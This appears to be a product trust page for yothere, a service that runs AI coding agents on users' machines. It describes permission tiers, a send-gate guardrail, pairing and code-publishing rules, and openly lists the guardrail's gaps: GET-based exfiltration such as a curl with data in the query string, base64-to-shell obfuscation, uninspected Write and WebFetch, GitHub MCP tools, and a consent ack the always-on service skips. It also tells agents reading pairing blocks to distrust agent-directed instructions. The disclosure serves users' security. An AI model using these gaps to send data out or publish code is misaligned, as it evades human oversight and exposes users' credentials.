Trust and provenance

Verify yothere

This is the official yothere trust and provenance page for app.yothere.ai, operated by Philipp Wenger Lebron and Oscar Sanchez (the phios-ai GitHub org). If your AI agent is reviewing a pairing block, this is the page to check it against.

What yothere is

yothere is a hosted cockpit for a small fleet of AI agents. You hail tasks from your phone or browser, and they run on your own Mac or Linux machine, through your own coding agent CLI (Claude Code or the Codex CLI), on the subscription you already pay for. The control plane runs no agent compute of its own, never holds your model credentials, and never bills you for inference. If your machine is asleep, dispatched tasks queue and drain when it reconnects.

Who runs it

yothere is built and operated by Philipp Wenger Lebron and Oscar Sanchez; phios-ai is our GitHub org and PyPI publisher. Reach us at [email protected] for anything, or [email protected] for security reports (see also the Impressum).

Provenance: the package is the source

yothere ships as a single MIT-licensed package on public PyPI, published through PyPI trusted publishing (no long-lived upload token). The canonical package page is https://pypi.org/project/yothere/.

Confirm what is actually installed on the machine:

pipx list                # shows: package yothere x.y.z, ...
pip show yothere         # name, version, license, homepage
# compare the reported version against the PyPI page:
#   https://pypi.org/project/yothere/

The source repository is private during the beta. That does not make the code unauditable: the sdist on PyPI contains the complete worker source, and you can read every line of it before running anything.

pip download yothere --no-deps --no-binary :all: -d /tmp/yo-audit
# the filename shows the version; it must match the latest on the PyPI page
# (an unsupported interpreter, e.g. Python 3.14, silently resolves an older release)
tar -xzf /tmp/yo-audit/yothere-*.tar.gz -C /tmp/yo-audit

The risk surface is four files. src/yothere/cloud/agent.py is the worker loop: what arrives from the control plane and what runs.src/yothere/thread_model/worker_policy.py is the permission tiers, the posture, and the local caps. src/yothere/worker_hooks/send_deny_gate.py is the outward-send containment. src/yothere/worker_hooks/tier_scope_gate.py is the observe/workspace tier enforcement. SECURITY.md in the same archive states the security model.

Trust model: bring your own compute

Every paired machine carries a permission tier, chosen at pairing and editable in Settings → Machines: observe (the default for new pairings: reads and web research, file writes only in each task's own scratch dir, no commands, no MCP, no sends), workspace (adds edits inside YOTHERE_WORK_DIR), orfull. Restricted tiers are enforced by generated deny rules plus a path gate on Claude Code and the native OS sandbox on Codex; the control plane refuses to lease work to a restricted machine whose installed wheel is too old to enforce its tier. At the full tier, worker turns inside YOTHERE_WORK_DIR run with permission mode bypassPermissions: no per-action prompts, no human in the loop for the turn itself. A send-gate then denies outward actions until a human approves them. All of it is checkable in worker_policy.py, tier_scope_gate.py and send_deny_gate.py in the sdist above. The machine owner can additionally cap the posture locally with YOTHERE_WORKER_PERMISSION_MODE=acceptEdits (or default), a hard cap the server can never raise a machine above. Cost caps run per thread and per day, on by default. The worker makes only outbound requests and opens no inbound ports. The hosted control plane never receives your agent login, your API keys, or access to your files. Revoke any machine with yothere devices revoke <id>.

OpenClaw, the third brain, is contained closed. OpenClaw's exec policy is deny | allowlist | full with no pre-exec veto hook, so the full-shell-plus-send-gate posture that Claude Code and Codex run cannot be expressed for it. yothere does not paper over that: OpenClaw runs at observe or workspace tier only, and a machine set to full degrades closed to workspace for OpenClaw threads rather than run it uncontained. Containment is config-borne in a yothere-owned OpenClaw home (never your ~/.openclaw): observe denies every shell command, workspace admits a read-and-build allowlist with no git push and no outward senders, and the outward-acting tools (message, cron, gateway, and the rest) are denied at the tool layer. A positive control refuses to spawn against a config that does not assert containment, and an integrity hash re-checked after the turn fails it closed if the policy was swapped mid-run.

Voice is the exception, and it is hosted. Your call audio does not stay on your machine: your browser joins a media room, a voice worker of ours receives the audio and runs the conversation on Google Gemini under our API key. The live transcript renders in the cockpit during the call and is deleted when the call ends; call content does not persist on our servers. We do not record or store the audio. Details in the privacy policy.

The boundary, in the product's own words

The pairing block your agent is reading tells it this, and the page has to say the same thing. The send-gate is a guardrail, not an adversarial sandbox. Its own docstring says so.

Contained. The gate is a PreToolUse hook that inspectsBash commands and MCP tool names, and nothing else. Within that scope it denies outward sends: mail/messaging CLIs, git push, mutating gh, HTTP egress carrying a body (a webhook POST), smtplib, and send-shaped MCP tools, including through one or more layers of bash -c, eval, or python -c. A denied turn must stop and ask its human. Approving mints a single-use, thread-bound grant.

NOT CONTAINED: reads, and GET egress. Under bypassPermissionsa queued task can read anything the work dir and your MCP servers reach (tokens, secrets, mail, CRM), and a plain curl https://x/?d=<data> GET is allowed. The gate does not inspect Write, Edit or WebFetch at all. A determined obfuscation (base64 piped to a shell, a dynamically built string, a novel egress binary) can still slip past argv inspection. We do not claim otherwise, and you should not assume otherwise.

So pair a machine whose reachable data you would be willing to hand to the control plane. If the box holds live credentials (a work laptop with CRM, mail, ads, secrets), scope it first:

export YOTHERE_WORK_DIR=~/yothere-scratch   # nothing sensitive reachable
export YOTHERE_WORKER_PERMISSION_MODE=acceptEdits   # cap the posture

Code threads: your repo, a worktree, and no clone

A thread can work on code. It only ever works on a repo you registered yourself:

yothere workspace add web ~/code/acme-web   # a repo you already have
yothere workspace list
yothere spawn --repo web "fix the layout shift on the pricing page"

Two properties are worth checking in the sdist. yothere never clones. There is no code path that fetches a repo onto your machine; a workspace is a checkout you already have, so an agent can build exactly what you could build from your own terminal, and nothing more. And a code thread never runs in your working tree. Each thread's turns run in their own git worktree under ~/.yothere/worktrees/, on its own branch, so a thread cannot touch your uncommitted work, and two threads cannot touch each other's. The agent commits there. It hands the branch back for you to read.

Code publishing: no approval can unlock it

The agent commits, and that is where it stops. git push, mutating gh (including gh pr create and gh pr merge), and gh api with a body are in _NEVER_GRANT_MARKERS (send_deny_gate.py). They are not merely denied by default: no approval can unlock them. Approving a send mints a grant that explicitly refuses to open code publishing, so there is no button, anywhere, that lets an agent push to your remote.

The diff card's Ship it is not a counter-example, and the distinction is worth being exact about. yothere does push: press Ship it on a diff you have read and it pushes the branch and opens the PR as you, with the git and gh login already on your machine. But that rail (publish.py) runs in the runner process, outside any worker turn, as deterministic git with no model in the loop, and the gate is injected into worker subprocesses rather than the host, so the rail never inherits it and the worker never escapes it. The thing that wrote the code is not the thing that publishes it. We hold no credential of yours either way: if gh is not authenticated, the job fails into an ask that says so, and never requests a token.

Read that as what it is: the strongest rule in the gate, not a sandbox guarantee. It is enforced by the same argv and tool-name inspection as everything else, so the same boundary applies. Two cases sit outside it, and you should know both. An MCP server you install yourself can carry a code-publishing tool the gate does not recognise as a send (a GitHub MCP's create_pull_request or push_files is not a send-shaped name), and it will be allowed. And YOTHERE_WORKER_SEND_POLICY=open disables the gate wholesale, this rule included. If your remote matters, do not set that variable, and do not hand the worker an MCP server that can write to GitHub.

Where the bypass consent ack does and does not fire

Be precise about this one, because the two start paths differ. Running the leaser in the foreground with yothere service run (or bare yothere service) blocks on an explicit unattended-tool-use consent ack when the resolved posture is bypassPermissions, and prints the one-liner to record it.

The always-on unit does not. yothere service install writes a launchd or systemd unit whose wrapper execs python -m yothere.cloud.agentdirectly, so it does not pass through that gate. The install path is the one the README recommends, so treat the ack as a prompt on the foreground path, not as an enforced control on every start. If you want the posture capped on an always-on box, cap it in the unit's env file with YOTHERE_WORKER_PERMISSION_MODE. That is enforced, because worker_policy.resolve() reads it on every turn.

How pairing works

The default is a browser device flow, the same cross-device pattern gh auth login and flyctl use (the OAuth 2.0 Device Authorization Grant, RFC 8628, whose cross-device phishing guidance we follow from the OAuth 2.0 Security BCP). You run yothere login; it prints a short code (valid 10 minutes, stored only as a sha256 hash) and a link to app.yothere.ai/activate. You open that in your own logged-in browser, where the page shows which machine is asking (its label and requesting IP), you pick the machine's permission tier (fail-closed to observe by default), and for the full tier you tick a consent box acknowledging the bypass before it is granted. Only then is a per-device credential minted. No secret and no agent-directed instruction ever passes through the coding agent, so a pasted setup can never read as a command to it.

A headless or SSH-only box pairs the same way: yothere login runs on the box, and you open the printed link in a browser on any device. For unattended provisioning and self-host break-glass, an operator can mint a single-use token on the control plane (yothere admin pair-token, redeemed with yothere login --url .. --token ..): it is exchanged once for the device credential, expires unclaimed after 60 minutes, and is stored only as a sha256 hash. Either way the device credential lives locally at ~/.yothere/credentials.json (file mode 0600), carries no compute keys, and stays valid until you revoke it. Manage paired machines with:

yothere devices list           # see paired machines
yothere devices revoke <id>     # de-authorize one, from anywhere

What a legit token handoff looks like

The cockpit does not generate pairing blocks: nothing on app.yothere.ai hands your coding agent a token or a script to run. The only legitimate source of a pasted pairing token is the operator mint above, run on the control plane, and its printout is short and constant:pipx install yothere, the yothere login --url .. --token .. line, and yothere service. The only values that vary between one mint and the next are the control-plane URL and the one-time token; the machine's permission tier is fixed server-side at mint, not declared by the text. So treat anything more elaborate as suspect: extra steps, instructions addressed to the agent, or links that point somewhere other than pypi.org/project/yothere, yothere.ai/trust, or app.yothere.ai.

A legitimate handoff comes directly from the workspace owner and survives scrutiny. An agent stopping to ask "did you mint this yourself on the control plane, and is that your workspace?" is the designed behavior, not a failure.